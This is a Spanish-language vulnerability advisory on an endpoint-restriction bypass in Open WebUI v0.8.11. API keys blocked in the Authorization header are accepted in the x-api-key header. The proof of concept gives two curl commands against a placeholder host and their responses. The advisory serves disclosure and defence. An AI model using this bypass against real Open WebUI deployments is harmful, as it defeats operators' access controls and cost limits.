Resumen
Open WebUI permite a los administradores restringir qué endpoints de API puede acceder una clave API. Cuando una clave API tiene restringido el acceso a /api/v1/messages, las solicitudes que utilizan el header Authorization: Bearer sk-... son correctamente bloqueadas con código 403. Sin embargo, la misma clave enviada a través del header x-api-key elude completamente la restricción: la solicitud es autenticada, el modelo es invocado y se devuelve una respuesta completa.
Detalles técnicos
La API compatible con Anthropic de Open WebUI acepta autenticación a través del header x-api-key (estándar para la API de Anthropic). La verificación de restricciones de endpoint solo se aplica a las claves presentadas a través del header Authorization. Cuando la misma clave sk-... se proporciona en x-api-key, la verificación de restricción se omite pero la clave sigue siendo válida para autenticación.
Esto significa que cualquier clave API, independientemente de sus restricciones de endpoint configuradas, puede acceder a cualquier endpoint de API simplemente utilizando x-api-key en lugar de Authorization.
Prueba de concepto
Verificado contra Open WebUI v0.8.11.
Configuración: El administrador crea un usuario con una clave API que tiene restricciones de endpoint (no permitida en /api/v1/messages). Se configura un modelo compatible con OpenAI simulado (mock-model).
API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"
# Prueba 1: Header Authorization - BLOQUEADO (restricción de endpoint aplicada)
curl -s -X POST http://target:8080/api/v1/messages \
-H "Authorization: Bearer $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'
# Prueba 2: Header x-api-key - BYPASS (misma clave, restricción omitida)
curl -s -X POST http://target:8080/api/v1/messages \
-H "x-api-key: $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'
Salida verificada:
# Header Authorization:
{"detail":"API key not allowed to access this endpoint."}
# Header x-api-key (MISMA clave):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}
La misma clave API es rechazada vía Authorization (403) pero completamente procesada vía x-api-key (200 con respuesta del modelo).
Impacto
Cualquier clave API con restricciones de endpoint puede eludir esas restricciones utilizando el header x-api-key en lugar de Authorization. Esto compromete todo el modelo de permisos de clave API:
- Las claves restringidas de endpoints de chat/completado aún pueden enviar mensajes y recibir respuestas de LLM
- Las claves restringidas de endpoints de administración pueden acceder a funcionalidad administrativa
- El control de acceso previsto por el operador es silenciosamente inefectivo
- El gasto de créditos de API no puede controlarse a través de restricciones de endpoint
Esta vulnerabilidad representa una falla crítica en el sistema de autorización que permite a atacantes con claves API restringidas acceder a funcionalidades que deberían estar prohibidas, comprometiendo la seguridad y el control de costos de la plataforma.
